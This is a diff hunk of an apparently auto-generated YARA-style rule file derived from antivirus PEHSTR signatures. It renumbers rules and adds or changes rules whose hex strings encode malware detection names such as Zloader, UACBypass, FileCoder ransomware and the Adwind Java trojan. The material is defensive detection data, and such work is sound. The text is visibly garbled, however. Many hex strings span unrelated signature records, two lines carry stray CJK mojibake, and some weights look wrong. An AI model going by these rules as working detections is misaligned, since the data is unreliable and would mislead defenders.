"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355837,7 +378383,7 @@ rule _InfrastructureShared_27274{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27275{ +rule _InfrastructureShared_29002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355848,7 +378394,7 @@ rule _InfrastructureShared_27275{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_27276{ +rule _InfrastructureShared_29003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -355860,7 +378406,7 @@ rule _InfrastructureShared_27276{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*29296+(#a_01_2 & 1)*1) >=3 } -rule _InfrastructureShared_27277{ +rule _InfrastructureShared_29004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -355873,7 +378419,7 @@ rule _InfrastructureShared_27277{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*3328+(#a_01_2 & 1)*27745+(#a_01_3 & 1)*21775) >=3 } -rule _InfrastructureShared_27278{ +rule _InfrastructureShared_29005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355886,7 +378432,7 @@ rule _InfrastructureShared_27278{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*18448+(#a_01_2 & 1)*24943+(#a_01_3 & 1)*24977) >=4 } -rule _InfrastructureShared_27279{ +rule _InfrastructureShared_29006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -355899,7 +378445,7 @@ rule _InfrastructureShared_27279{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25924+(#a_01_2 & 1)*29251+(#a_01_4 & 1)*10) >=5 } -rule _InfrastructureShared_27280{ +rule _InfrastructureShared_29007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " @@ -355912,7 +378458,7 @@ rule _InfrastructureShared_27280{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*0+(#a_01_3 & 1)*4) >=13 } -rule _InfrastructureShared_27281{ +rule _InfrastructureShared_29008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355922,7 +378468,7 @@ rule _InfrastructureShared_27281{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27282{ +rule _InfrastructureShared_29009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355932,29 +378478,40 @@ rule _InfrastructureShared_27282{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27283{ +rule _InfrastructureShared_29010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " strings : $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 50 61 74 68 2e 41 00 01 00 24 5a 3a 2f 50 72 6f 6a 65 63 74 73 2f 63 73 72 2f 73 6e 2f 73 72 63 2f 42 6f 74 2f 4d 61 69 6e 2f 73 72 63 2f 01 00 1e 5a 3a 2f 50 72 } //16675 - $a_01_1 = {63 74 73 2f 63 73 72 2f 73 6e 2f 73 72 63 2f 43 6f 6d 6d 6f 6e 2f 00 00 61 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 55 41 43 42 79 70 61 73 73 2e 4d 58 21 4d 54 42 00 01 00 27 44 72 69 76 65 72 49 6e 73 74 61 6c 6c 5c 62 69 6e 5c 54 61 73 6b 53 63 68 65 64 75 } //27247 + $a_01_1 = {63 74 73 2f 63 73 72 2f 73 6e 2f 73 72 63 2f 43 6f 6d 6d 6f 6e 2f 00 00 61 71 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 55 41 43 42 79 70 61 73 73 2e 4d 58 21 4d 54 42 00 01 00 27 44 72 69 76 65 72 49 6e 73 74 61 6c 6c 5c 62 69 6e 5c 54 61 73 6b 53 63 68 65 64 75 } //27247 condition: ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27247) >=1 } -rule _InfrastructureShared_27284{ +rule _InfrastructureShared_29011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : - $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 55 41 43 42 79 70 61 73 73 2e 4d 58 21 4d 54 42 00 01 00 27 44 72 69 76 65 72 49 6e 73 74 61 6c 6c 5c 62 69 6e 5c 54 61 73 6b 53 63 68 65 64 75 6c 65 72 5f 78 36 } //21539 - $a_01_1 = {64 62 01 00 18 62 69 6e 5c 42 79 70 61 73 73 55 41 43 44 6c 6c 5f 78 38 36 2e 70 64 62 00 00 61 71 00 00 03 00 03 00 04 00 21 23 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 4b 65 79 56 69 65 77 00 01 00 11 64 69 67 69 74 61 6c 70 72 6f 64 75 63 74 69 64 34 01 00 13 61 64 64 65 78 70 6f 72 74 68 65 61 64 65 72 6c 69 6e 65 } //11828 + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 55 41 43 42 79 70 61 73 73 2e 4d 58 21 4d 54 42 00 01 00 27 44 72 69 76 65 72 49 6e 73 74 61 6c 6c 5c 62 69 6e 5c 54 61 73 6b 53 63 68 65 64 75 6c 65 72 5f 78 36 34 2e 70 64 62 01 00 } //21283 + $a_01_1 = {6e 5c 42 79 70 61 73 73 55 41 43 44 6c 6c 5f 78 38 36 2e 70 64 62 00 00 61 71 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 41 21 4d 54 42 00 01 00 1c 68 2f 52 cd 6a 9b 79 64 6a e5 5a d9 1b 1d 2d e3 fd de c7 9b 37 97 56 4d 3e bb 19 eb 01 00 26 53 00 27 00 } //25112 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*11828) >=2 + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25112) >=2 } -rule _InfrastructureShared_27285{ +rule _InfrastructureShared_29012{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4a 53 43 65 61 6c 7a 2e 41 21 4d 54 42 00 01 00 1c 68 2f 52 cd 6a 9b 79 64 6a e5 5a d9 1b 1d 2d e3 fd de c7 9b 37 97 56 4d 3e bb 19 eb 01 00 26 53 00 27 00 09 00 } //21539 + $a_01_1 = {00 64 00 3e 00 1d 00 74 00 78 00 b7 00 1b 00 3f 00 64 00 3e 00 b0 00 96 00 ed 00 aa 00 00 00 61 71 00 00 03 00 03 00 04 00 21 23 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 } //127 + condition: + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*127) >=2 + +} +rule _InfrastructureShared_29013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -355966,7 +378523,7 @@ rule _InfrastructureShared_27285{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*12047+(#a_01_3 & 1)*24848) >=3 } -rule _InfrastructureShared_27286{ +rule _InfrastructureShared_29014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -355979,7 +378536,7 @@ rule _InfrastructureShared_27286{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_01_2 & 1)*23734+(#a_01_3 & 1)*14958) >=4 } -rule _InfrastructureShared_27287{ +rule _InfrastructureShared_29015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355989,7 +378546,7 @@ rule _InfrastructureShared_27287{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27288{ +rule _InfrastructureShared_29016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -355999,7 +378556,7 @@ rule _InfrastructureShared_27288{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27289{ +rule _InfrastructureShared_29017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356009,7 +378566,7 @@ rule _InfrastructureShared_27289{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27290{ +rule _InfrastructureShared_29018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " @@ -356021,7 +378578,7 @@ rule _InfrastructureShared_27290{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*110+(#a_01_3 & 1)*29230) >=2 } -rule _InfrastructureShared_27291{ +rule _InfrastructureShared_29019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356032,7 +378589,7 @@ rule _InfrastructureShared_27291{ ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*8993) >=3 } -rule _InfrastructureShared_27292{ +rule _InfrastructureShared_29020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -356043,7 +378600,7 @@ rule _InfrastructureShared_27292{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*115) >=3 } -rule _InfrastructureShared_27293{ +rule _InfrastructureShared_29021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -356057,7 +378614,7 @@ rule _InfrastructureShared_27293{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24933+(#a_01_2 & 1)*30026+(#a_01_3 & 1)*21574+(#a_01_4 & 1)*26956) >=3 } -rule _InfrastructureShared_27294{ +rule _InfrastructureShared_29022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -356071,7 +378628,7 @@ rule _InfrastructureShared_27294{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0+(#a_01_4 & 1)*29457) >=4 } -rule _InfrastructureShared_27295{ +rule _InfrastructureShared_29023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 03 00 05 00 21 " @@ -356084,7 +378641,7 @@ rule _InfrastructureShared_27295{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*24947+(#a_01_2 & 1)*3072+(#a_01_3 & 1)*24944) >=3 } -rule _InfrastructureShared_27296{ +rule _InfrastructureShared_29024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -356098,7 +378655,7 @@ rule _InfrastructureShared_27296{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24944+(#a_01_2 & 1)*27756+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0) >=5 } -rule _InfrastructureShared_27297{ +rule _InfrastructureShared_29025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -356111,7 +378668,7 @@ rule _InfrastructureShared_27297{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27765+(#a_01_3 & 1)*22282+(#a_01_4 & 1)*23667) >=5 } -rule _InfrastructureShared_27298{ +rule _InfrastructureShared_29026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -356125,7 +378682,7 @@ rule _InfrastructureShared_27298{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*22282+(#a_01_3 & 1)*23667+(#a_01_4 & 1)*1+(#a_01_5 & 1)*114) >=6 } -rule _InfrastructureShared_27299{ +rule _InfrastructureShared_29027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 03 00 21 " @@ -356136,7 +378693,7 @@ rule _InfrastructureShared_27299{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*18453) >=30 } -rule _InfrastructureShared_27300{ +rule _InfrastructureShared_29028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356146,7 +378703,7 @@ rule _InfrastructureShared_27300{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27301{ +rule _InfrastructureShared_29029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -356156,7 +378713,7 @@ rule _InfrastructureShared_27301{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27302{ +rule _InfrastructureShared_29030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 03 00 21 " @@ -356167,7 +378724,7 @@ rule _InfrastructureShared_27302{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8448) >=1 } -rule _InfrastructureShared_27303{ +rule _InfrastructureShared_29031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -356177,7 +378734,7 @@ rule _InfrastructureShared_27303{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27304{ +rule _InfrastructureShared_29032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356188,18 +378745,30 @@ rule _InfrastructureShared_27304{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24933) >=2 } -rule _InfrastructureShared_27305{ +rule _InfrastructureShared_29033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {41 3a 42 6c 6f 63 6b 3a 4d 69 6e 69 50 6f 70 75 70 73 00 01 00 1a 5c 70 6f 70 5f 70 6f 70 65 78 5c 72 75 6e 64 6c 6c 5c 52 65 6c 65 61 73 65 5c 01 00 12 58 73 6a 75 66 51 73 70 64 66 74 74 4e 66 6e 70 73 7a 01 00 20 52 00 75 00 6e 00 45 00 78 00 74 00 65 } //20515 - $a_01_2 = {00 6f 00 6e 00 2e 00 74 00 70 00 69 00 00 00 61 74 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 75 73 74 6f 63 6b 00 01 00 0c 2d 00 01 00 00 66 81 38 4d 5a 75 f4 01 00 06 c7 00 6e 74 6f 73 01 00 07 c7 40 04 6b 72 6e 6c 01 00 07 c7 40 08 2e 65 78 65 01 00 07 c7 40 04 64 6c 6c 00 01 00 0c 00 d2 } //116 + $a_01_2 = {00 6f 00 6e 00 2e 00 74 00 70 00 69 00 00 00 61 74 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 43 6f 64 65 72 2e 41 4d 58 21 4d 54 42 00 01 00 0d 2e 68 65 61 72 74 62 72 65 61 6b 65 72 01 00 1d 67 69 74 68 75 62 2e 63 6f 6d 2f 73 61 61 61 61 72 77 61 72 2f 6d 69 6d } //116 condition: ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*116) >=3 } -rule _InfrastructureShared_27306{ +rule _InfrastructureShared_29034{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " + + strings : + $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 43 6f 64 65 72 2e 41 4d 58 21 4d 54 42 00 01 00 0d 2e 68 65 61 72 74 62 72 65 61 6b 65 72 01 00 1d 67 69 74 68 75 62 2e 63 6f 6d 2f 73 61 61 61 61 72 77 61 72 2f 6d 69 6d } //16675 㩆慒獮浯场湩㐶䘯汩䍥摯牥䄮塍䴡䉔Āഀ栮慥瑲牢慥敫Ųᴀ楧桴扵挮浯猯慡慡睲牡洯浩 + $a_01_1 = {72 65 01 00 08 6c 69 74 63 72 79 70 74 01 00 09 65 6e 63 72 79 70 74 65 64 00 00 61 74 00 00 04 00 04 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 52 75 73 74 6f 63 6b 00 01 00 0c 2d 00 01 00 00 66 81 38 4d 5a 75 f4 01 00 06 c7 00 6e 74 6f 73 01 00 07 c7 40 04 6b 72 6e 6c 01 00 07 c7 40 08 2e 65 78 65 01 00 07 c7 40 04 64 6c 6c } //25449 + $a_01_3 = {75 05 8a 16 46 10 d2 c3 31 c9 01 00 0f 8b 75 f8 8b 45 fc 66 c7 06 00 00 c7 46 3c 00 00 00 61 74 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 63 43 6c 69 65 6e 74 2e 44 52 00 01 00 0e 4f 70 65 6e 53 43 4d 61 6e 61 67 65 72 41 01 00 08 44 52 49 56 45 52 53 5c 01 00 09 53 65 72 65 65 67 75 44 6f 01 00 04 2e 6b 65 79 01 00 04 2e 73 63 6f 01 00 04 2e 70 72 6f 01 00 0a 25 73 25 30 35 78 2e 69 6d 69 00 00 61 74 00 00 14 00 14 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 61 72 74 65 72 2e 47 00 0a 00 18 6a 05 68 00 10 00 10 e8 0c 00 00 00 55 8b ec b8 01 } //12 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25449+(#a_01_3 & 1)*12) >=4 + +} +rule _InfrastructureShared_29035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 07 00 21 " @@ -356215,7 +378784,7 @@ rule _InfrastructureShared_27306{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12739+(#a_01_2 & 1)*0+(#a_01_3 & 1)*28484+(#a_01_4 & 1)*26707+(#a_01_5 & 1)*24938+(#a_01_6 & 1)*16675) >=4 } -rule _InfrastructureShared_27307{ +rule _InfrastructureShared_29036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -356230,7 +378799,7 @@ rule _InfrastructureShared_27307{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*11780+(#a_01_3 & 1)*11826+(#a_01_4 & 1)*29550+(#a_01_5 & 1)*12082+(#a_01_6 & 1)*1) >=7 } -rule _InfrastructureShared_27308{ +rule _InfrastructureShared_29037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 02 00 21 " @@ -356241,7 +378810,7 @@ rule _InfrastructureShared_27308{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*27748) >=20 } -rule _InfrastructureShared_27309{ +rule _InfrastructureShared_29038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -356253,7 +378822,7 @@ rule _InfrastructureShared_27309{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*30544+(#a_01_3 & 1)*-29904) >=30 } -rule _InfrastructureShared_27310{ +rule _InfrastructureShared_29039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356263,7 +378832,7 @@ rule _InfrastructureShared_27310{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_27311{ +rule _InfrastructureShared_29040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 03 00 21 " @@ -356275,32 +378844,44 @@ rule _InfrastructureShared_27311{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25970+(#a_01_2 & 1)*6144) >=2 } -rule _InfrastructureShared_27312{ +rule _InfrastructureShared_29041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 02 00 04 00 21 " strings : $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 61 72 6b 6f 66 66 2e 41 21 62 69 74 00 01 00 0d 2e 63 6f 6c 64 66 61 72 74 2e 63 6f 6d 01 00 0f 78 78 78 2e 68 74 6d 6c 20 20 2f 69 6e 64 65 01 00 18 64 32 31 } //21539 $a_01_1 = {42 77 63 6d 39 6a 5a 58 4e 7a 49 47 78 70 63 33 51 3d 01 00 0c 2f 4c 6f 67 69 6e 6e 6e 3f 69 64 3d 00 00 61 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4a 61 76 61 2f 41 64 77 69 6e 64 2e 53 47 21 4d 54 42 00 01 00 18 6a 63 72 79 70 74 2f 44 65 63 72 79 70 74 65 72 2e 63 6c 61 73 73 50 4b 01 00 23 6a 63 72 79 70 74 2f 45 6e 63 72 79 70 74 } //22896 - $a_01_2 = {6c 61 73 73 4c 6f 61 64 65 72 2e 63 6c 61 73 73 50 4b 01 00 09 65 6e 63 2e 64 61 74 50 4b 00 00 61 75 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 59 61 7a 7a } //25701 - $a_01_3 = {45 00 01 00 19 4d 65 64 69 61 74 69 63 6b 65 74 73 20 62 79 20 4f 75 74 65 72 69 6e 66 6f 01 00 0e 59 61 7a 7a 6c 65 20 47 61 74 65 77 61 } //25964 + $a_01_2 = {6c 61 73 73 4c 6f 61 64 65 72 2e 63 6c 61 73 73 50 4b 01 00 09 65 6e 63 2e 64 61 74 50 4b 00 00 61 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e } //25701 + $a_01_3 = {61 79 2e 41 21 64 68 61 00 01 00 0f 2e 72 6e 61 2e 44 43 2e 30 2e 37 31 38 32 33 01 00 1a 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 56 69 72 74 75 61 6c 01 00 16 44 33 44 4b 4d 54 51 75 65 72 79 41 64 61 70 74 65 72 49 6e 66 6f 00 00 61 75 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f } //21620 condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*22896+(#a_01_2 & 1)*25701+(#a_01_3 & 1)*25964) >=2 + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*22896+(#a_01_2 & 1)*25701+(#a_01_3 & 1)*21620) >=2 } -rule _InfrastructureShared_27313{ +rule _InfrastructureShared_29042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 4a 61 76 61 2f 41 64 77 69 6e 64 2e 53 47 21 4d 54 42 00 01 00 18 6a 63 72 79 70 74 2f 44 65 63 72 79 70 74 65 72 2e 63 6c 61 73 73 50 4b 01 00 23 6a 63 72 79 70 74 2f 45 6e 63 72 79 70 74 65 64 43 6c } //16675 - $a_01_1 = {4c 6f 61 64 65 72 2e 63 6c 61 73 73 50 4b 01 00 09 65 6e 63 2e 64 61 74 50 4b 00 00 61 75 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 59 61 7a 7a 6c 65 2e 45 00 01 00 19 4d 65 64 69 61 74 69 63 6b 65 74 73 20 62 79 20 4f 75 74 65 72 69 6e 66 6f 01 00 0e 59 61 7a 7a 6c 65 20 47 61 74 65 77 61 79 01 00 } //29537 - $a_01_2 = {74 65 72 69 6e 66 6f 2e 63 6f 6d 01 00 0f 44 69 73 70 6c 61 79 4e 61 6d 65 00 50 54 56 00 00 61 76 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 50 61 45 78 65 63 00 01 00 2c 50 00 41 00 45 00 78 00 65 00 63 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 75 00 6e 00 6e 00 69 00 6e 00 67 00 01 00 2e 53 00 74 00 61 00 72 00 74 00 69 00 } //28429 + $a_01_1 = {4c 6f 61 64 65 72 2e 63 6c 61 73 73 50 4b 01 00 09 65 6e 63 2e 64 61 74 50 4b 00 00 61 75 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e 74 54 72 61 79 2e 41 21 64 68 61 00 01 00 0f 2e 72 6e 61 2e 44 43 2e 30 2e 37 31 38 32 33 01 00 1a 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 } //29537 + $a_01_2 = {74 75 61 6c 01 00 16 44 33 44 4b 4d 54 51 75 65 72 79 41 64 61 70 74 65 72 49 6e 66 6f 00 00 61 75 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 59 61 7a 7a 6c 65 2e 45 00 01 00 19 4d 65 64 69 61 74 69 63 6b 65 74 73 20 62 79 20 4f 75 74 65 72 69 6e 66 6f 01 00 0e 59 61 7a 7a 6c 65 20 47 61 74 65 77 } //26966 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29537+(#a_01_2 & 1)*28429) >=3 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29537+(#a_01_2 & 1)*26966) >=3 } -rule _InfrastructureShared_27314{ +rule _InfrastructureShared_29043{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 69 73 74 61 6e 74 54 72 61 79 2e 41 21 64 68 61 00 01 00 0f 2e 72 6e 61 2e 44 43 2e 30 2e 37 31 38 32 33 01 00 1a 44 33 44 4b 4d 54 43 72 65 61 74 65 43 6f 6e 74 65 78 74 56 69 72 } //16675 㩆牔橯湡场湩㐶䐯獩慴瑮牔祡䄮搡慨Āༀ爮慮䐮⹃⸰ㄷ㈸ijᨀ㍄䭄呍牃慥整潃瑮硥噴物 + $a_01_1 = {6c 01 00 16 44 33 44 4b 4d 54 51 75 65 72 79 41 64 61 70 74 65 72 49 6e 66 6f 00 00 61 75 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 59 61 7a 7a 6c 65 2e 45 00 01 00 19 4d 65 64 69 61 74 69 63 6b 65 74 73 20 62 79 20 4f 75 74 65 72 69 6e 66 6f 01 } //30068 + $a_01_2 = {61 7a 7a 6c 65 20 47 61 74 65 77 61 79 01 00 0d 6f 75 74 65 72 69 6e 66 6f 2e 63 6f 6d 01 00 0f 44 69 73 70 6c 61 79 4e 61 6d 65 00 50 54 56 00 00 61 76 00 00 01 00 01 00 02 00 21 23 48 53 54 52 3a 50 61 45 78 65 63 00 01 00 2c 50 00 41 00 45 00 78 00 65 00 63 00 20 } //3584 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30068+(#a_01_2 & 1)*3584) >=3 + +} +rule _InfrastructureShared_29044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -356313,7 +378894,7 @@ rule _InfrastructureShared_27314{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25390+(#a_01_2 & 1)*32+(#a_01_3 & 1)*12895) >=3 } -rule _InfrastructureShared_27315{ +rule _InfrastructureShared_29045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -356323,7 +378904,7 @@ rule _InfrastructureShared_27315{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27316{ +rule _InfrastructureShared_29046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -356335,7 +378916,7 @@ rule _InfrastructureShared_27316{ ((#a_01_0 & 1)*25635+(#a_01_2 & 1)*2+(#a_01_3 & 1)*17699) >=1 } -rule _InfrastructureShared_27317{ +rule _InfrastructureShared_29047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356346,7 +378927,7 @@ rule _InfrastructureShared_27317{ ((#a_01_0 & 1)*17699+(#a_01_1 & 1)*21320) >=2 } -rule _InfrastructureShared_27318{ +rule _InfrastructureShared_29048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356356,7 +378937,7 @@ rule _InfrastructureShared_27318{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27319{ +rule _InfrastructureShared_29049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -356367,7 +378948,7 @@ rule _InfrastructureShared_27319{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-31745) >=2 } -rule _InfrastructureShared_27320{ +rule _InfrastructureShared_29050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ 